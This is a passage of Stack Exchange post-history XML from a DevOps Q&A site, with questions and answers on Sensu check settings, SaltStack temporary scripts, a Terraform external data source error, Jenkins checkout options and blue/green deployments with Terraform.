  <row Id="5332" PostHistoryTypeId="3" PostId="1675" RevisionGUID="295d8b8e-3543-4bc5-b024-2acb1fcb5734" CreationDate="2017-08-07T09:07:22.820" UserId="3822" Text="&lt;deployment&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5334" PostHistoryTypeId="2" PostId="1676" RevisionGUID="f0e6815f-e1d7-4460-87a7-3f9cc00d0988" CreationDate="2017-08-07T09:58:18.903" UserId="210" Text="https://sensuapp.org/docs/0.28/reference/plugins.html#check-definition-attributes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `occurrences` as defined in the other answer was required (+1). The `refresh` and `interval` were needed as well.&#xD;&#xA;&#xD;&#xA;Refresh and occurrences had to be assigned to a check. It was not needed to change the handlers.&#xD;&#xA;&#xD;&#xA;    &quot;a-check&quot;: {&#xD;&#xA;      &quot;command&quot;: &quot;echo hello&quot;&#xD;&#xA;      &quot;occurrences&quot;: 6,&#xD;&#xA;      &quot;refresh&quot;: 30,&#xD;&#xA;      &quot;interval&quot;: 10&#xD;&#xA;    },&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5335" PostHistoryTypeId="5" PostId="1676" RevisionGUID="d17aac58-9edf-4318-937a-8804170706ce" CreationDate="2017-08-07T11:21:56.220" UserId="210" Comment="deleted 16 characters in body" Text="https://sensuapp.org/docs/0.28/reference/plugins.html#check-definition-attributes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `occurrences` as defined in the other answer was required (+1). The `refresh` and `interval` were needed as well.&#xD;&#xA;&#xD;&#xA;Refresh and occurrences had to be assigned to a check. It was not needed to change the handlers.&#xD;&#xA;&#xD;&#xA;    &quot;a-check&quot;: {&#xD;&#xA;      &quot;command&quot;: &quot;echo hello&quot;&#xD;&#xA;      &quot;occurrences&quot;: 6,&#xD;&#xA;      &quot;refresh&quot;: 60,&#xD;&#xA;      &quot;interval&quot;: 10&#xD;&#xA;    },&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://gist.github.com/calebhailey/8a30a00c6aadfebf7f767444f0a3df49" ContentLicense="CC BY-SA 3.0" />
  <row Id="5336" PostHistoryTypeId="5" PostId="1676" RevisionGUID="5efcd332-99b0-473d-bf84-ca9cdffbafff" CreationDate="2017-08-07T11:27:02.717" UserId="210" Comment="deleted 16 characters in body" Text="https://sensuapp.org/docs/0.28/reference/plugins.html#check-definition-attributes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `occurrences` as defined in the other answer was required (+1). The `refresh` and `interval` were needed as well.&#xD;&#xA;&#xD;&#xA;Refresh and occurrences had to be assigned to a check. It was not needed to change the handlers.&#xD;&#xA;&#xD;&#xA;    &quot;a-check&quot;: {&#xD;&#xA;      &quot;command&quot;: &quot;echo hello&quot;&#xD;&#xA;      &quot;occurrences&quot;: 6,&#xD;&#xA;      &quot;refresh&quot;: 60,&#xD;&#xA;      &quot;interval&quot;: 10&#xD;&#xA;    },&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://gist.github.com/calebhailey/8a30a00c6aadfebf7f767444f0a3df49&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `interval` means after how many seconds a check is executed. The refresh means that after `60 seconds` a notification is sent and the occurrences mean that if within 60 seconds the event was triggered 6 times that a notification will be sent." ContentLicense="CC BY-SA 3.0" />
  <row Id="5337" PostHistoryTypeId="2" PostId="1677" RevisionGUID="56e9fed4-0b39-474f-85fc-4b3765419951" CreationDate="2017-08-07T11:29:35.587" UserId="210" Text="One you use [chocolatey][1] to install Opera. Upgrading is also supported:&#xD;&#xA;&#xD;&#xA;    choco upgrade opera &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://chocolatey.org/packages/Opera" ContentLicense="CC BY-SA 3.0" />
  <row Id="5338" PostHistoryTypeId="2" PostId="1678" RevisionGUID="f0592ade-a10b-414d-9268-5a13be535f96" CreationDate="2017-08-07T11:35:18.803" UserId="210" Text="`It would be nice if there was a more... official way. (:` If this is not an official way how to check it? One could also say that if there are only POST's then why not using a POST? &#xD;&#xA;&#xD;&#xA;Some services only have POST and these are checked by doing an automated POST every X minutes and check the output. If the POST fails then the monitor system will notify the team." ContentLicense="CC BY-SA 3.0" />
  <row Id="5340" PostHistoryTypeId="5" PostId="1676" RevisionGUID="a538cf7b-16c3-4d57-aa17-f22adb3bf48e" CreationDate="2017-08-07T12:21:38.077" UserId="210" Comment="added 126 characters in body" Text="https://sensuapp.org/docs/0.28/reference/plugins.html#check-definition-attributes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `occurrences` as defined in the other answer was required (+1). The `refresh` and `interval` were needed as well.&#xD;&#xA;&#xD;&#xA;Refresh and occurrences had to be assigned to a check. It was not needed to change the handlers.&#xD;&#xA;&#xD;&#xA;    &quot;a-check&quot;: {&#xD;&#xA;      &quot;command&quot;: &quot;echo hello&quot;&#xD;&#xA;      &quot;occurrences&quot;: 6,&#xD;&#xA;      &quot;refresh&quot;: 60,&#xD;&#xA;      &quot;interval&quot;: 10&#xD;&#xA;    },&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://gist.github.com/calebhailey/8a30a00c6aadfebf7f767444f0a3df49&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `interval` means after how many seconds a check is executed. The refresh means that after `60 seconds` a notification is sent and the occurrences mean that if within 60 seconds the event was triggered 6 times that a notification will be sent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It seems like the formula is as follows:&#xD;&#xA;&#xD;&#xA;`occurrences` * `interval` = `refresh`&#xD;&#xA;&#xD;&#xA;`10`          * `10`       = `100`" ContentLicense="CC BY-SA 3.0" />
  <row Id="5341" PostHistoryTypeId="5" PostId="1333" RevisionGUID="61d884a2-4697-4cff-9f87-2814f42ccc68" CreationDate="2017-08-07T13:37:19.897" UserId="210" Comment="link to default checks in sensu added" Text="You want to use [the `occurrences` filter](https://github.com/sensu-extensions/sensu-extensions-occurrences/), which is included [by default in Sensu][1].&#xD;&#xA;&#xD;&#xA;First, apply the filter to your handlers:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;handlers&quot;: {&#xD;&#xA;        &quot;email&quot;: {&#xD;&#xA;          &quot;...&quot;: &quot;...&quot;,&#xD;&#xA;          &quot;filters&quot;: [&quot;occurrences&quot;]&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then, in your check, you can use the `occurrences` attribute to only trigger the handler once the check fails or warns a certain number of times in a row:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;checks&quot;: {&#xD;&#xA;        &quot;check-http&quot;: {&#xD;&#xA;          &quot;...&quot;: &quot;...&quot;,&#xD;&#xA;          &quot;occurrences&quot;: 2&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sensuapp.org/docs/0.28/reference/plugins.html#check-definition-attributes" ContentLicense="CC BY-SA 3.0" />
  <row Id="5342" PostHistoryTypeId="24" PostId="1333" RevisionGUID="61d884a2-4697-4cff-9f87-2814f42ccc68" CreationDate="2017-08-07T13:37:19.897" Comment="Proposed by 210 approved by 40, 47 edit id of 392" ContentLicense="CC BY-SA 3.0" />
  <row Id="5343" PostHistoryTypeId="2" PostId="1679" RevisionGUID="dca89195-33aa-4133-bba1-6f0924c3de35" CreationDate="2017-08-07T23:25:22.670" UserId="3834" Text="I am doing some operations with Kafka via salt, and using scripts to perform them.&#xD;&#xA;&#xD;&#xA;My current SLS file looks roughly like:&#xD;&#xA;&#xD;&#xA;    /tmp/script.sh:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://blah/blah&#xD;&#xA;    &#xD;&#xA;    Run script:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - name: /tmp/script.sh&#xD;&#xA;    &#xD;&#xA;    delete /tmp/script.sh:&#xD;&#xA;      file.absent&#xD;&#xA;        - name: /tmp/script.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`script.sh` is idempotent itself. But I always get a `changed=2` status report at the end of applying the state, because of it putting the script down and then deleting it.&#xD;&#xA;&#xD;&#xA;Is there a more idiomatic way in Salt to have temporary scripts that don't live on the target box? Or do people usually just leave them in /tmp so that they don't see a reported change when applying a state.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5344" PostHistoryTypeId="1" PostId="1679" RevisionGUID="dca89195-33aa-4133-bba1-6f0924c3de35" CreationDate="2017-08-07T23:25:22.670" UserId="3834" Text="SaltStack: Use Temporary Scripts And Not Cause State Changes To Reported" ContentLicense="CC BY-SA 3.0" />
  <row Id="5345" PostHistoryTypeId="3" PostId="1679" RevisionGUID="dca89195-33aa-4133-bba1-6f0924c3de35" CreationDate="2017-08-07T23:25:22.670" UserId="3834" Text="&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5347" PostHistoryTypeId="2" PostId="1681" RevisionGUID="43e0e6e2-83e5-4664-b660-64b8920a1672" CreationDate="2017-08-08T08:11:01.873" UserId="2845" Text="You might want to consider adding an [`unless` or `onlyif`](https://docs.saltstack.com/en/latest/ref/states/requisites.html#unless) requisite in the first directive - especially if script.sh is particularly complicated or expensive. With `unless` or `onlyif`, you will use the reults of several BASH commands to determine if you need to push down and execute your script. If your system is out of plumb only then is the state enforced. If everything checks out OK, then the script will never be pushed and executed preventing `changed=2` in the final status report. You will want to use a [require](https://docs.saltstack.com/en/latest/ref/states/requisites.html#require) requisite for the second and third directives to prevent them from running if the script is not pushed by `file.managed` otherwise you will get to errors instead of two changes." ContentLicense="CC BY-SA 3.0" />
  <row Id="5348" PostHistoryTypeId="2" PostId="1682" RevisionGUID="148750ac-9b5e-4c8e-b198-882cbedec506" CreationDate="2017-08-08T13:09:24.940" UserId="503" Text="so my issue here is that terraform really does not like a command I'm trying to run using an external datasource.&#xD;&#xA;&#xD;&#xA;I'm trying to hack my way around a problem where terraform wont wait for a KMS encrypt operation to complete before attempting to use the ciphertext returned by KMS. I've also raised an issue in the terraform for this.&#xD;&#xA;&#xD;&#xA;So here is what I'm attempting to do:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_kms_alias&quot; &quot;kms_alias&quot; {&#xD;&#xA;        name          = &quot;alias/${var.lambda_name}&quot;&#xD;&#xA;        target_key_id = &quot;${aws_kms_key.hook_url.arn}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;encrypt_url&quot; {  &#xD;&#xA;        program = [&quot;bash&quot;, &quot;export ENC_HOOK_URL=$(aws --profile $${AWS_PROFILE} \&#xD;&#xA;        kms encrypt --key-id $${KMS_ALIAS} --plaintext $${HOOK_URL} --output json \&#xD;&#xA;        --region $${AWS_REGION})&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_lambda_function&quot; &quot;lambda_function&quot; {&#xD;&#xA;        depends_on       = [&quot;data.external.encrypt_url&quot;]&#xD;&#xA;        filename         = &quot;deploymentPackage.zip&quot;&#xD;&#xA;        function_name    = &quot;${var.lambda_name}&quot;&#xD;&#xA;        role             = &quot;${var.lambda_role_arn}&quot;&#xD;&#xA;        handler          = &quot;index.lambda_handler&quot;&#xD;&#xA;        source_code_hash = &quot;${base64sha256(file(&quot;deploymentPackage.zip&quot;))}&quot;&#xD;&#xA;        runtime          = &quot;python3.6&quot;&#xD;&#xA;        publish          = &quot;true&quot;&#xD;&#xA;&#xD;&#xA;        environment {&#xD;&#xA;            variables = {&#xD;&#xA;                HOOK_URL = &quot;${data.external.encrypt_url.result.ciphertextBlob}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        tags {&#xD;&#xA;            LastUpdated = &quot;${var.timestamp}-${var.iamuser}-Terraform&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This will run fine without the `encrypt_url` datasource but will fail with the following error when trying to run:&#xD;&#xA;&#xD;&#xA;    data.external.encrypt_url: data.external.encrypt_url: failed to execute &quot;bash&quot;:&#xD;&#xA;    bash: export ENC_HOOK_URL=$(aws --profile ${AWS_PROFILE} kms encrypt --key-id ${KMS_ALIAS} --plaintext ${HOOK_URL} --output json --region ${AWS_REGION}): &#xD;&#xA;    No such file or directory&#xD;&#xA;&#xD;&#xA;Now no file or directory is attempting to be called here and I'm unable to find much information about this because this function is not well documented.&#xD;&#xA;&#xD;&#xA;If anyone has any pointers that'd be great!" ContentLicense="CC BY-SA 3.0" />
  <row Id="5349" PostHistoryTypeId="1" PostId="1682" RevisionGUID="148750ac-9b5e-4c8e-b198-882cbedec506" CreationDate="2017-08-08T13:09:24.940" UserId="503" Text="Why does the datasource &quot;external&quot; always fail?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5350" PostHistoryTypeId="3" PostId="1682" RevisionGUID="148750ac-9b5e-4c8e-b198-882cbedec506" CreationDate="2017-08-08T13:09:24.940" UserId="503" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-kms&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5351" PostHistoryTypeId="2" PostId="1683" RevisionGUID="6618b861-1432-46b8-8242-3511788dc386" CreationDate="2017-08-08T14:07:58.080" UserId="3728" Text="&#xD;&#xA;I have a Jenkins pipeline in which I build in one stage and test in another. I'd like them to be different machines since they have different capabilities. I have something like the following so far:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent none&#xD;&#xA;      stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;          agent { node { label 'builder' } }&#xD;&#xA;          steps {&#xD;&#xA;            sh 'build-the-app'&#xD;&#xA;            stash(name: 'app', includes: 'outputs')&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Test’) {&#xD;&#xA;          agent { node { label 'tester' } }&#xD;&#xA;          steps {&#xD;&#xA;            unstash 'app'&#xD;&#xA;            sh 'test-the-app'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The problem I have is that since it runs on two different nodes, by default it checks out the repository on both nodes. I'd like for it to not do that because it's not needed. So I added the following option:&#xD;&#xA;&#xD;&#xA;    options { skipDefaultCheckout() }&#xD;&#xA;&#xD;&#xA;But now no repositories are checked out, causing the build to not work. How do I, after specifying `skipDefaultCheckout`, manually tell the pipeline to checkout the repository in stages which I specify?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5352" PostHistoryTypeId="1" PostId="1683" RevisionGUID="6618b861-1432-46b8-8242-3511788dc386" CreationDate="2017-08-08T14:07:58.080" UserId="3728" Text="How to check out GitHub repo after specifying skipDefaultCheckout in Jenkins declarative pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5353" PostHistoryTypeId="3" PostId="1683" RevisionGUID="6618b861-1432-46b8-8242-3511788dc386" CreationDate="2017-08-08T14:07:58.080" UserId="3728" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5354" PostHistoryTypeId="2" PostId="1684" RevisionGUID="e6bd1e3e-47e4-455d-8504-b1ecdffe45c8" CreationDate="2017-08-08T15:42:47.730" UserId="2708" Text="I have one service in production (on AWS), which follows the [immutable server pattern][1]. Its deployment looks like this:&#xD;&#xA;&#xD;&#xA;1. Create a new AMI with [Packer][2]&#xD;&#xA;2. Create a new CloudFormation stack, starting with an auto-scaling group of size 1.&#xD;&#xA;&#xD;&#xA;When I see that the new release is good, I can increase the number of instances and eventually shutdown old instances and finally remove the CloudFormation stack from the previous release.&#xD;&#xA;&#xD;&#xA;In my initial version of the deployment, I used only one stack and updated it in place. For normal releases, that meant an the auto-scaling group was modified by CloudFormation to point to the new AMI. Then I had to either kill an existing instance or increase the auto scaling group to get an instance with the release running.&#xD;&#xA;&#xD;&#xA;Using a new stack for every release makes the process simpler for me, as rollbacks are easier and it makes rolling out releases to parts of the users easier. Similar to the immutable server pattern, I avoid in-place updates but instead only create new resources (stacks in this case).&#xD;&#xA;&#xD;&#xA;In the company that I work for, it is now more common to use [Terraform][3] instead of CloudFormation. I wonder if it is possible to adept the deployment that I sketched with Terraform. I don't mind using another tool, the main point that I would preserve these basic ideas:&#xD;&#xA;&#xD;&#xA;* Allow rollouts of new releases without touching the stable release&#xD;&#xA;* Instead of (in-place) updating the setup, only create new resources and kill the old resources.&#xD;&#xA;&#xD;&#xA;So, far I have only briefly worked with Terraform and used it only to manage some small part for our infrastructure. As recommended, I kept the state in an S3 bucket, for instance:&#xD;&#xA;&#xD;&#xA;    # (from main.tf)&#xD;&#xA;    terraform {&#xD;&#xA;      required_version = &quot;&gt;= 0.9.4&quot;&#xD;&#xA;      backend &quot;s3&quot; {&#xD;&#xA;        bucket = &quot;example-company-terraform-state&quot;&#xD;&#xA;        key    = &quot;/foo-service/terraform.tfstate&quot;&#xD;&#xA;        region = &quot;eu-central-1&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Here, the key is always fixed. So, Terraform will update everything in place. I assume you could use a new key for new releases to have a similar effect as creating new CloudFormation stacks.&#xD;&#xA;&#xD;&#xA;What I did not figure out is how to move traffic to the new instances. All instances should be behind an load balancer (ELB). I think, you could use a separated setup for the ELB, which will distribute traffic to instances from both the old and the new release.&#xD;&#xA;&#xD;&#xA;So, if a new release is rolled out, there would be three different Terraform states:&#xD;&#xA;&#xD;&#xA;1. Terraform setup for the ELB&#xD;&#xA;2. Terraform setup for the old release (more specifically, its auto-scaling group)&#xD;&#xA;3. Terraform setup for the new release&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA;* Has the approach of using different S3 keys for the Terraform state the same effect as using separate CloudFormation stacks? (What I'm looking for is a way to have multiple Terraform setups that do not interfere with each other.)&#xD;&#xA;* Do you see a solution to the problem of getting all instances (from the old and the new release) behind a shared ELB?&#xD;&#xA;* I read that you can export resources in Terraform. Do you think, I could create a Terraform setup for the ELB, export the ELB as a resource, and use it in the Terraform setup for the instances (plus auto-scaling group) to make them attach to the shared ELB?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;(Note: For my other service, where I use CloudFormation, we do not use an ELB, so it is stricly speaking a different problem. I only mentioned it to explain what I found useful about the deployment and why I think about applying some of the ideas for other services.)&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/ImmutableServer.html&#xD;&#xA;  [2]: https://www.packer.io/&#xD;&#xA;  [3]: https://www.terraform.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5355" PostHistoryTypeId="1" PostId="1684" RevisionGUID="e6bd1e3e-47e4-455d-8504-b1ecdffe45c8" CreationDate="2017-08-08T15:42:47.730" UserId="2708" Text="Terraform: How to support releasing new versions of the code, running in parallel with the last stable release?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5356" PostHistoryTypeId="3" PostId="1684" RevisionGUID="e6bd1e3e-47e4-455d-8504-b1ecdffe45c8" CreationDate="2017-08-08T15:42:47.730" UserId="2708" Text="&lt;amazon-web-services&gt;&lt;deployment&gt;&lt;terraform&gt;&lt;immutable-servers&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5358" PostHistoryTypeId="2" PostId="1685" RevisionGUID="a794b38e-2cb1-4f46-9433-5531031b3fd5" CreationDate="2017-08-08T21:19:32.067" UserId="2463" Text="The command being run by the `external` provider here is equivalent to the following:&#xD;&#xA;&#xD;&#xA;    bash &quot;export ENC_HOOK_URL=$(aws --profile ${AWS_PROFILE} \&#xD;&#xA;    kms encrypt --key-id ${KMS_ALIAS} --plaintext ${HOOK_URL} --output json \&#xD;&#xA;    --region ${AWS_REGION})&quot;&#xD;&#xA;&#xD;&#xA;Bash is failing here because when used in this way it expects its first argument to be the filename of a script to run.&#xD;&#xA;&#xD;&#xA;The `-c` option changes this interpretation so that it will instead expect this argument to be an _inline script_ to run, which seems to be what you intended here. This could be expressed in the Terraform configuration like this:&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;encrypt_url&quot; {  &#xD;&#xA;      program = [&quot;bash&quot;, &quot;-c&quot;, &quot;export ENC_HOOK_URL=$(aws --profile $${AWS_PROFILE} kms encrypt --key-id $${KMS_ALIAS} --plaintext $${HOOK_URL} --output json --region $${AWS_REGION})&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Along with adding the `-c` option, it also seems like this script doesn't actually do anything, instead just assigning a result to a variable. Given that you asked the AWS command to produce JSON, I think perhaps the following will do what you want:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;encrypt_url&quot; {  &#xD;&#xA;      program = [&quot;bash&quot;, &quot;-c&quot;, &quot;aws --profile $${AWS_PROFILE} kms encrypt --key-id $${KMS_ALIAS} --plaintext $${HOOK_URL} --output json --region $${AWS_REGION}&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In the interests of readability though, I'd recommend moving this command into an external script file (e.g. `encrypt_url.sh`) and then referencing it from the config:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;&#xD;&#xA;    aws --profile ${AWS_PROFILE} \&#xD;&#xA;        kms encrypt --key-id ${KMS_ALIAS} \&#xD;&#xA;                    --plaintext ${HOOK_URL} \&#xD;&#xA;                    --output json \&#xD;&#xA;                    --region ${AWS_REGION}&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;encrypt_url&quot; {  &#xD;&#xA;      program = [&quot;bash&quot;, &quot;${path.module}/encrypt_url.sh&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This avoids the need for escaping the dollar signs, allows you to edit it in your text editor's shell script highlighting mode, and allows the script to be easily run outside of Terraform for testing purposes.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5359" PostHistoryTypeId="2" PostId="1686" RevisionGUID="da2a1d77-b9d8-4831-8f43-1ad07c1d3d31" CreationDate="2017-08-08T22:10:49.920" UserId="2463" Text="There are a few different ways to achieve goals of this sort, each with some different tradeoffs. I'm going to describe the most common ones below.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The simplest approach is to use [Terraform's `create_before_destroy` mechanism](https://www.terraform.io/docs/configuration/resources.html#create_before_destroy) with autoscaling groups. An example of this pattern is included in [the `aws_launch_configuration` documentation](https://www.terraform.io/docs/providers/aws/r/launch_configuration.html#using-with-autoscaling-groups).&#xD;&#xA;&#xD;&#xA;In this scenario, changing the AMI id causes the launch configuration to be re-created. Due to `create_before_destroy`, the new configuration is created first, then a new autoscaling group is created, adding the new instances to an attached ELB. The `min_elb_capacity` argument to `aws_autoscaling_group` can be used to ensure that a given number of instances are present and healthy in the attached ELB before considering the autoscaling group to be created, thus delaying the destruction of the old autoscaling group and launch configuration until the new one is serving requests.&#xD;&#xA;&#xD;&#xA;The downside of this approach is the lack of control it represents. Since Terraform is thinking of the entire set of changes as a single run, it's impossible to pause after creating the new instances to allow other checks to be carried out before destroying the old ones. As a consequence, the ELB healthcheck is the only input to deciding if the new release is &quot;good&quot;, and rolling back is impossible once the old resources have been destroyed.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;A second common approach is to adopt a sort of &quot;blue/green deployment&quot; pattern with explicit changes to two clusters. This is done by putting all of the per-release resources in a child module, and instantiating that module twice with different arguments. In the top-level module this would look something like the following:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elb&quot; &quot;example&quot; {&#xD;&#xA;      instances = &quot;${concat(module.blue.ec2_instance_ids, module.green.ec2_instance_ids)}&quot;&#xD;&#xA;    &#xD;&#xA;      # ...&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    module &quot;blue&quot; {&#xD;&#xA;      source = &quot;./app&quot;&#xD;&#xA;    &#xD;&#xA;      ami_id = &quot;ami-1234&quot;&#xD;&#xA;      count  = 10&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    module &quot;green&quot; {&#xD;&#xA;      source = &quot;./app&quot;&#xD;&#xA;    &#xD;&#xA;      ami_id = &quot;ami-5678&quot;&#xD;&#xA;      count  = 0&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The principle of operation here is that in the &quot;steady state&quot; (no deployment in progress) only one of these modules has a non-zero count, and the other one has zero. During a deployment, they are both set to the same non-zero count, but with different `ami_id` values. Each deployment swaps which of the modules is the &quot;active&quot; module, with both being active _during_ the deployment.&#xD;&#xA;&#xD;&#xA;When using this approach, each step is a distinct Terraform operation:&#xD;&#xA;&#xD;&#xA;1. change count of the _inactive_ module to nonzero and set its AMI id&#xD;&#xA;2. apply the change with Terraform, thus activating the new module&#xD;&#xA;3. verify that the new release is good&#xD;&#xA;4. change count of the older module to zero&#xD;&#xA;5. apply the change with Terraform, thus deactivating the old module&#xD;&#xA;&#xD;&#xA;Although this has more steps, it allows arbitrary verification and an arbitrary amount of time to pass during step 3. It also allows &quot;rolling back&quot; by resetting the previously-inactive cluster count to zero.&#xD;&#xA;&#xD;&#xA;Since both the old and new clusters exist in the same configuration, there is the risk of using this pattern incorrectly and prematurely destroying the active cluster. This can be mitigated by carefully reviewing Terraform's plan to make sure it leaves the old cluster untouched, but Terraform itself can't guarantee this.&#xD;&#xA;&#xD;&#xA;Also, since both clusters are using the same child module configuration, it can be tricky to make updates to that configuration while retaining the blue/green separation. If changes are made that would require Terraform to replace the running instances, it's necessary to temporarily have two copies of the module code on disk, make the `source` arguments point to separate copies, and make the change only to the copy used by the inactive module.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The final approach I'll present is the most extreme and manual, but it does the best job of meeting your requirements and retaining control. This is, in effect, the most literal interpretation of your current CloudFormation workflow, and is a more concrete version of the approach you talked about in your question.&#xD;&#xA;&#xD;&#xA;In this approach, there are two entirely-separate Terraform configurations, which I will call &quot;version-agnostic&quot; (things that must survive between versions, such as your ELB) and &quot;version-specific&quot; (the resources that are re-created for each new version).&#xD;&#xA;&#xD;&#xA;The version-agnostic configuration will contain the ELB and will, as you suspected, export its id for consumption by the version-specific configuration:&#xD;&#xA;&#xD;&#xA;    terraform {&#xD;&#xA;      required_version = &quot;&gt;= 0.9.4&quot;&#xD;&#xA;      backend &quot;s3&quot; {&#xD;&#xA;        bucket = &quot;example-company-terraform-state&quot;&#xD;&#xA;        key    = &quot;exampleapp/version-agnostic&quot;&#xD;&#xA;        region = &quot;eu-central-1&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elb&quot; &quot;example&quot; {&#xD;&#xA;      # ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    output &quot;elb_id&quot; {&#xD;&#xA;      value = &quot;${aws_elb.example.id}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This configuration can be initialized, planned and applied as usual, creating an ELB with no attached instances to start.&#xD;&#xA;&#xD;&#xA;The version-specific configuration would be similar to the &quot;app&quot; child module in the previous approach, but this time as a top-level module. The backend configuration for this module would omit the S3 key, since this will change for each new release as you expected:&#xD;&#xA;&#xD;&#xA;    terraform {&#xD;&#xA;      required_version = &quot;&gt;= 0.9.4&quot;&#xD;&#xA;      backend &quot;s3&quot; {&#xD;&#xA;        bucket = &quot;example-company-terraform-state&quot;&#xD;&#xA;        region = &quot;eu-central-1&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The specific key can then be set (or re-set) when running `terraform init`:&#xD;&#xA;&#xD;&#xA;    $ terraform init -reconfigure -backend-config=&quot;key=exampleapp/20170808-1&quot;&#xD;&#xA;&#xD;&#xA;Here I chose to use a &quot;current date, release index&quot; tuple as an identifier for a release. By running `terraform init` with a new value for this argument, an entirely separate state is created, independent of the last. Using `-reconfigure` tells Terraform that you don't wish to migrate the old state to the new, but rather to just switch directly to the new state path, possibly creating a new state in the process.&#xD;&#xA;&#xD;&#xA;You can then run `terraform show` to confirm that indeed the state is empty (and thus operations won't affect existing resources) and then run a plan/apply cycle as normal.&#xD;&#xA;&#xD;&#xA;Once you're satisfied with the new release, you can switch back to the previous version and destroy it.&#xD;&#xA;&#xD;&#xA;The version-specific configuration will need the id of the ELB from the version-agnostic configuration in order to populate the `load_balancers` attribute of `aws_autoscaling_group`. To get access to this, we can use the `terraform_remote_state` data source to read the values from its state in S3:&#xD;&#xA;&#xD;&#xA;    data &quot;terraform_remote_state&quot; &quot;version_agnostic&quot; {&#xD;&#xA;      backend = &quot;s3&quot;&#xD;&#xA;      config {&#xD;&#xA;        bucket = &quot;example-company-terraform-state&quot;&#xD;&#xA;        key    = &quot;exampleapp/version-agnostic&quot;&#xD;&#xA;        region = &quot;eu-central-1&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;example&quot; {&#xD;&#xA;      # ...&#xD;&#xA;&#xD;&#xA;      load_balancers = [&quot;${data.terraform_remote_state.version_agnostic.elb_id}&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With a system of this complexity, it would likely be best to run Terraform via some sort of wrapper script or orchestration to make the release process less onerous. For example, such a script might automatically generate the new version number to avoid the risk of a human operator mistyping the date or accidentally 